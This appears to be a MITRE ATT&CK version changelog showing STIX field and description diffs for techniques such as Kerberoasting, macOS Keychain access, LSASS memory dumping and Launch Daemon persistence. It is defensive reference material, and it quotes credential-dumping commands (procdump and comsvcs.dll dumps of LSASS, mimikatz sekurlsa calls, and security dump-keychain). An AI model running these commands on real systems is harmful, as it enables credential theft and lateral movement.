| description | An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware) | An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware) |
| x_mitre_data_sources[0] | Web logs | File: File Creation |
| x_mitre_data_sources[1] | Web application firewall logs | File: File Modification |
| x_mitre_data_sources[2] | Packet capture | Application Log: Application Log Content |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Content |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse a valid Kerberos ticket-granting ticke | t | 1 | Adversaries may abuse a valid Kerberos ticket-granting ticke |
| > | t (TGT) or sniff network traffic to obtain a ticket-granting | > | t (TGT) or sniff network traffic to obtain a ticket-granting | ||
| > | service (TGS) ticket that may be vulnerable to [Brute Force | > | service (TGS) ticket that may be vulnerable to [Brute Force | ||
| > | ](https://attack.mitre.org/techniques/T1110).(Citation: Empi | > | ](https://attack.mitre.org/techniques/T1110).(Citation: Empi | ||
| > | re InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking | > | re InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking | ||
| > | Kerberos Dec 2015) Service principal names (SPNs) are used | > | Kerberos Dec 2015) Service principal names (SPNs) are used | ||
| > | to uniquely identify each instance of a Windows service. To | > | to uniquely identify each instance of a Windows service. To | ||
| > | enable authentication, Kerberos requires that SPNs be assoc | > | enable authentication, Kerberos requires that SPNs be assoc | ||
| > | iated with at least one service logon account (an account sp | > | iated with at least one service logon account (an account sp | ||
| > | ecifically tasked with running a service(Citation: Microsoft | > | ecifically tasked with running a service(Citation: Microsoft | ||
| > | Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN | > | Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN | ||
| > | )(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerbe | > | )(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerbe | ||
| > | ros Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016) Advers | > | ros Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016) Advers | ||
| > | aries possessing a valid Kerberos ticket-granting ticket (TG | > | aries possessing a valid Kerberos ticket-granting ticket (TG | ||
| > | T) may request one or more Kerberos ticket-granting service | > | T) may request one or more Kerberos ticket-granting service | ||
| > | (TGS) service tickets for any SPN from a domain controller ( | > | (TGS) service tickets for any SPN from a domain controller ( | ||
| > | DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: A | > | DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: A | ||
| > | dSecurity Cracking Kerberos Dec 2015) Portions of these tick | > | dSecurity Cracking Kerberos Dec 2015) Portions of these tick | ||
| > | ets may be encrypted with the RC4 algorithm, meaning the Ker | > | ets may be encrypted with the RC4 algorithm, meaning the Ker | ||
| > | beros 5 TGS-REP etype 23 hash of the service account associa | > | beros 5 TGS-REP etype 23 hash of the service account associa | ||
| > | ted with the SPN is used as the private key and is thus vuln | > | ted with the SPN is used as the private key and is thus vuln | ||
| > | erable to offline [Brute Force](https://attack.mitre.org/tec | > | erable to offline [Brute Force](https://attack.mitre.org/tec | ||
| > | hniques/T1110) attacks that may expose plaintext credentials | > | hniques/T1110) attacks that may expose plaintext credentials | ||
| > | .(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: | > | .(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: | ||
| > | Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerber | > | Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerber | ||
| > | oast Nov 2016) This same attack could be executed using ser | > | oast Nov 2016) This same behavior could be executed using s | ||
| > | vice tickets captured from network traffic.(Citation: AdSecu | > | ervice tickets captured from network traffic.(Citation: AdSe | ||
| > | rity Cracking Kerberos Dec 2015) Cracked hashes may enable | > | curity Cracking Kerberos Dec 2015) Cracked hashes may enabl | ||
| > | [Persistence](https://attack.mitre.org/tactics/TA0003), [Pri | > | e [Persistence](https://attack.mitre.org/tactics/TA0003), [P | ||
| > | vilege Escalation](https://attack.mitre.org/tactics/TA0004), | > | rivilege Escalation](https://attack.mitre.org/tactics/TA0004 | ||
| > | and [Lateral Movement](https://attack.mitre.org/tactics/TA0 | > | ), and [Lateral Movement](https://attack.mitre.org/tactics/T | ||
| > | 008) via access to [Valid Accounts](https://attack.mitre.org | > | A0008) via access to [Valid Accounts](https://attack.mitre.o | ||
| > | /techniques/T1078).(Citation: SANS Attacking Kerberos Nov 20 | > | rg/techniques/T1078).(Citation: SANS Attacking Kerberos Nov | ||
| > | 14) | > | 2014) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-20 19:30:10.687000+00:00 | 2022-03-08 21:52:42.405000+00:00 |
| description | Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016) Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016) This same attack could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015) Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014) | Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016) Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016) This same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015) Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014) |
| x_mitre_data_sources[0] | Authentication logs | Active Directory: Active Directory Credential Request |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Windows event logs |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may collect the keychain storage data from a sys | t | 1 | Adversaries may acquire credentials from Keychain. Keychain |
| > | tem to acquire credentials. Keychains are the built-in way f | > | (or Keychain Services) is the macOS credential management sy | ||
| > | or macOS to keep track of users' passwords and credentials f | > | stem that stores account names, passwords, private keys, cer | ||
| > | or many services and features such as WiFi passwords, websit | > | tificates, sensitive application data, payment data, and sec | ||
| > | es, secure notes, certificates, and Kerberos. Keychain files | > | ure notes. There are three types of Keychains: Login Keychai | ||
| > | are located in <code>~/Library/Keychains/</code>,<code>/Lib | > | n, System Keychain, and Local Items (iCloud) Keychain. The d | ||
| > | rary/Keychains/</code>, and <code>/Network/Library/Keychains | > | efault Keychain is the Login Keychain, which stores user pas | ||
| > | /</code>. (Citation: Wikipedia keychain) The <code>security< | > | swords and information. The System Keychain stores items acc | ||
| > | /code> command-line utility, which is built into macOS by de | > | essed by the operating system, such as items shared among us | ||
| > | fault, provides a useful way to manage these credentials. T | > | ers on a host. The Local Items (iCloud) Keychain is used for | ||
| > | o manage their credentials, users have to use additional cre | > | items synced with Apple’s iCloud service. Keychains can b | ||
| > | dentials to access their keychain. If an adversary knows the | > | e viewed and edited through the Keychain Access application | ||
| > | credentials for the login keychain, then they can get acces | > | or using the command-line utility <code>security</code>. Key | ||
| > | s to all the other credentials stored in this vault. (Citati | > | chain files are located in <code>~/Library/Keychains/</code> | ||
| > | on: External to DA, the OS X Way) By default, the passphrase | > | , <code>/Library/Keychains/</code>, and <code>/Network/Libra | ||
| > | for the keychain is the user’s logon credentials. | > | ry/Keychains/</code>.(Citation: Keychain Services Apple)(Cit | ||
| > | ation: Keychain Decryption Passware)(Citation: OSX Keychain | ||||
| > | Schaumann) Adversaries may gather user credentials from Key | ||||
| > | chain storage/memory. For example, the command <code>securit | ||||
| > | y dump-keychain –d</code> will dump all Login Keychain crede | ||||
| > | ntials from <code>~/Library/Keychains/login.keychain-db</cod | ||||
| > | e>. Adversaries may also directly read Login Keychain creden | ||||
| > | tials from the <code>~/Library/Keychains/login.keychain</cod | ||||
| > | e> file. Both methods require a password, where the default | ||||
| > | password for the Login Keychain is the current user’s passwo | ||||
| > | rd to login to the macOS host.(Citation: External to DA, the | ||||
| > | OS X Way)(Citation: Empire Keychain Decrypt) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['Administrator'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-02-17 13:14:31.140000+00:00 | 2022-04-18 20:32:22.122000+00:00 |
| description | Adversaries may collect the keychain storage data from a system to acquire credentials. Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.
To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials. | Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple’s iCloud service.
Keychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)
Adversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain –d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user’s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) |
| external_references[1]['source_name'] | Wikipedia keychain | External to DA, the OS X Way |
| external_references[1]['description'] | Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017. | Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017. |
| external_references[1]['url'] | https://en.wikipedia.org/wiki/Keychain_(software) | http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way |
| external_references[2]['source_name'] | External to DA, the OS X Way | Keychain Services Apple |
| external_references[2]['description'] | Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017. | Apple. (n.d.). Keychain Services. Retrieved April 11, 2022. |
| external_references[2]['url'] | http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way | https://developer.apple.com/documentation/security/keychain_services |
| x_mitre_data_sources[0] | PowerShell logs | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[2] | File monitoring | File: File Access |
| x_mitre_data_sources[3] | System calls | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Empire Keychain Decrypt', 'description': 'Empire. (2018, March 8). Empire keychaindump_decrypt Module. Retrieved April 14, 2022.', 'url': 'https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py'} | |
| external_references | {'source_name': 'OSX Keychain Schaumann', 'description': 'Jan Schaumann. (2015, November 5). Using the OS X Keychain to store and retrieve passwords. Retrieved March 31, 2022.', 'url': 'https://www.netmeister.org/blog/keychain-passwords.html'} | |
| external_references | {'source_name': 'Keychain Decryption Passware', 'description': 'Yana Gourenko. (n.d.). A Deep Dive into Apple Keychain Decryption. Retrieved April 13, 2022.', 'url': 'https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | API monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to access credential material stored | t | 1 | Adversaries may attempt to access credential material stored |
| > | in the process memory of the Local Security Authority Subsy | > | in the process memory of the Local Security Authority Subsy | ||
| > | stem Service (LSASS). After a user logs on, the system gener | > | stem Service (LSASS). After a user logs on, the system gener | ||
| > | ates and stores a variety of credential materials in LSASS p | > | ates and stores a variety of credential materials in LSASS p | ||
| > | rocess memory. These credential materials can be harvested b | > | rocess memory. These credential materials can be harvested b | ||
| > | y an administrative user or SYSTEM and used to conduct [Late | > | y an administrative user or SYSTEM and used to conduct [Late | ||
| > | ral Movement](https://attack.mitre.org/tactics/TA0008) using | > | ral Movement](https://attack.mitre.org/tactics/TA0008) using | ||
| > | [Use Alternate Authentication Material](https://attack.mitr | > | [Use Alternate Authentication Material](https://attack.mitr | ||
| > | e.org/techniques/T1550). As well as in-memory techniques, t | > | e.org/techniques/T1550). As well as in-memory techniques, t | ||
| > | he LSASS process memory can be dumped from the target host a | > | he LSASS process memory can be dumped from the target host a | ||
| > | nd analyzed on a local system. For example, on the target h | > | nd analyzed on a local system. For example, on the target h | ||
| > | ost use procdump: * <code>procdump -ma lsass.exe lsass_dump | > | ost use procdump: * <code>procdump -ma lsass.exe lsass_dump | ||
| > | </code> Locally, mimikatz can be run using: * <code>sekurl | > | </code> Locally, mimikatz can be run using: * <code>sekurl | ||
| > | sa::Minidump lsassdump.dmp</code> * <code>sekurlsa::logonPas | > | sa::Minidump lsassdump.dmp</code> * <code>sekurlsa::logonPas | ||
| > | swords</code> Windows Security Support Provider (SSP) DLLs | > | swords</code> Built-in Windows tools such as comsvcs.dll ca | ||
| > | are loaded into LSSAS process at system start. Once loaded | > | n also be used: * <code>rundll32.exe C:\Windows\System32\co | ||
| > | into the LSA, SSP DLLs have access to encrypted and plaintex | > | msvcs.dll MiniDump PID lsass.dmp full</code>(Citation: Vole | ||
| > | t passwords that are stored in Windows, such as any logged-o | > | xity Exchange Marauder March 2021)(Citation: Symantec Attack | ||
| > | n user's Domain password or smart card PINs. The SSP configu | > | s Against Government Sector) Windows Security Support Prov | ||
| > | ration is stored in two Registry keys: <code>HKLM\SYSTEM\Cur | > | ider (SSP) DLLs are loaded into LSSAS process at system star | ||
| > | rentControlSet\Control\Lsa\Security Packages</code> and <cod | > | t. Once loaded into the LSA, SSP DLLs have access to encrypt | ||
| > | e>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Securit | > | ed and plaintext passwords that are stored in Windows, such | ||
| > | y Packages</code>. An adversary may modify these Registry ke | > | as any logged-on user's Domain password or smart card PINs. | ||
| > | ys to add new SSPs, which will be loaded the next time the s | > | The SSP configuration is stored in two Registry keys: <code> | ||
| > | ystem boots, or when the AddSecurityPackage Windows API func | > | HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages< | ||
| > | tion is called.(Citation: Graeber 2014) The following SSPs | > | /code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\O | ||
| > | can be used to access credentials: * Msv: Interactive logon | > | SConfig\Security Packages</code>. An adversary may modify th | ||
| > | s, batch logons, and service logons are done through the MSV | > | ese Registry keys to add new SSPs, which will be loaded the | ||
| > | authentication package. * Wdigest: The Digest Authenticatio | > | next time the system boots, or when the AddSecurityPackage W | ||
| > | n protocol is designed for use with Hypertext Transfer Proto | > | indows API function is called.(Citation: Graeber 2014) The | ||
| > | col (HTTP) and Simple Authentication Security Layer (SASL) e | > | following SSPs can be used to access credentials: * Msv: In | ||
| > | xchanges.(Citation: TechNet Blogs Credential Protection) * K | > | teractive logons, batch logons, and service logons are done | ||
| > | erberos: Preferred for mutual client-server domain authentic | > | through the MSV authentication package. * Wdigest: The Diges | ||
| > | ation in Windows 2000 and later. * CredSSP: Provides SSO an | > | t Authentication protocol is designed for use with Hypertext | ||
| > | d Network Level Authentication for Remote Desktop Services.( | > | Transfer Protocol (HTTP) and Simple Authentication Security | ||
| > | Citation: TechNet Blogs Credential Protection) | > | Layer (SASL) exchanges.(Citation: TechNet Blogs Credential | ||
| > | Protection) * Kerberos: Preferred for mutual client-server d | ||||
| > | omain authentication in Windows 2000 and later. * CredSSP: | ||||
| > | Provides SSO and Network Level Authentication for Remote Des | ||||
| > | ktop Services.(Citation: TechNet Blogs Credential Protection | ||||
| > | ) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['Administrator', 'SYSTEM'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-09 20:46:00.393000+00:00 | 2022-05-12 21:38:58.866000+00:00 |
| description | Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).
As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.
For example, on the target host use procdump:
* procdump -ma lsass.exe lsass_dump
Locally, mimikatz can be run using:
* sekurlsa::Minidump lsassdump.dmp
* sekurlsa::logonPasswords
Windows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)
The following SSPs can be used to access credentials:
* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)
* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)
| Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).
As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.
For example, on the target host use procdump:
* procdump -ma lsass.exe lsass_dump
Locally, mimikatz can be run using:
* sekurlsa::Minidump lsassdump.dmp
* sekurlsa::logonPasswords
Built-in Windows tools such as comsvcs.dll can also be used:
* rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)
Windows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)
The following SSPs can be used to access credentials:
* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)
* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)
|
| external_references[1]['source_name'] | Graeber 2014 | Medium Detecting Attempts to Steal Passwords from Memory |
| external_references[1]['description'] | Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017. | French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019. |
| external_references[1]['url'] | http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html | https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea |
| external_references[2]['source_name'] | TechNet Blogs Credential Protection | Graeber 2014 |
| external_references[2]['description'] | Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018. | Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017. |
| external_references[2]['url'] | https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/ | http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html |
| external_references[3]['source_name'] | Medium Detecting Attempts to Steal Passwords from Memory | Volexity Exchange Marauder March 2021 |
| external_references[3]['description'] | French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019. | Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021. |
| external_references[3]['url'] | https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea | https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/ |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | PowerShell logs | Process: Process Creation |
| x_mitre_data_sources[2] | Process monitoring | Process: OS API Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Symantec Attacks Against Government Sector', 'description': 'Symantec. (2021, June 10). Attacks Against the Government Sector. Retrieved September 28, 2021.', 'url': 'https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf'} | |
| external_references | {'source_name': 'TechNet Blogs Credential Protection', 'description': 'Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.', 'url': 'https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/'} | |
| x_mitre_contributors | Edward Millington | |
| x_mitre_data_sources | Process: Process Access |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create or modify launch daemons to repeatedl | t | 1 | Adversaries may create or modify Launch Daemons to execute m |
| > | y execute malicious payloads as part of persistence. Per App | > | alicious payloads as part of persistence. Launch Daemons are | ||
| > | le’s developer documentation, when macOS and OS X boot up, l | > | plist files used to interact with Launchd, the service mana | ||
| > | aunchd is run to finish system initialization. This process | > | gement framework used by macOS. Launch Daemons require eleva | ||
| > | loads the parameters for each launch-on-demand system-level | > | ted privileges to install, are executed for every user on a | ||
| > | daemon from the property list (plist) files found in <code>/ | > | system prior to login, and run in the background without the | ||
| > | System/Library/LaunchDaemons</code> and <code>/Library/Launc | > | need for user interaction. During the macOS initialization | ||
| > | hDaemons</code> (Citation: AppleDocs Launch Agent Daemons). | > | startup, the launchd process loads the parameters for launch | ||
| > | These LaunchDaemons have property list files which point to | > | -on-demand system-level daemons from plist files found in <c | ||
| > | the executables that will be launched (Citation: Methods of | > | ode>/System/Library/LaunchDaemons/</code> and <code>/Library | ||
| > | Mac Malware Persistence). Adversaries may install a new la | > | /LaunchDaemons/</code>. Required Launch Daemons parameters i | ||
| > | unch daemon that can be configured to execute at startup by | > | nclude a <code>Label</code> to identify the task, <code>Prog | ||
| > | using launchd or launchctl to load a plist into the appropri | > | ram</code> to provide a path to the executable, and <code>Ru | ||
| > | ate directories (Citation: OSX Malware Detection). The daem | > | nAtLoad</code> to specify when the task is run. Launch Daemo | ||
| > | on name may be disguised by using a name from a related oper | > | ns are often used to provide access to shared resources, upd | ||
| > | ating system or benign software (Citation: WireLurker). Laun | > | ates to software, or conduct automation tasks.(Citation: App | ||
| > | ch Daemons may be created with administrator privileges, but | > | leDocs Launch Agent Daemons)(Citation: Methods of Mac Malwar | ||
| > | are executed under root privileges, so an adversary may als | > | e Persistence)(Citation: launchd Keywords for plists) Adver | ||
| > | o use a service to escalate privileges from administrator to | > | saries may install a Launch Daemon configured to execute at | ||
| > | root. The plist file permissions must be root:wheel, but | > | startup by using the <code>RunAtLoad</code> parameter set to | ||
| > | the script or program that it points to has no such requirem | > | <code>true</code> and the <code>Program</code> parameter se | ||
| > | ent. So, it is possible for poor configurations to allow an | > | t to the malicious executable path. The daemon name may be d | ||
| > | adversary to modify a current Launch Daemon’s executable and | > | isguised by using a name from a related operating system or | ||
| > | gain persistence or Privilege Escalation. | > | benign software (i.e. [Masquerading](https://attack.mitre.or | ||
| > | g/techniques/T1036)). When the Launch Daemon is executed, th | ||||
| > | e program inherits administrative permissions.(Citation: Wir | ||||
| > | eLurker)(Citation: OSX Malware Detection) Additionally, sys | ||||
| > | tem configuration changes (such as the installation of third | ||||
| > | party package managing software) may cause folders such as | ||||
| > | <code>usr/local/bin</code> to become globally writeable. So, | ||||
| > | it is possible for poor configurations to allow an adversar | ||||
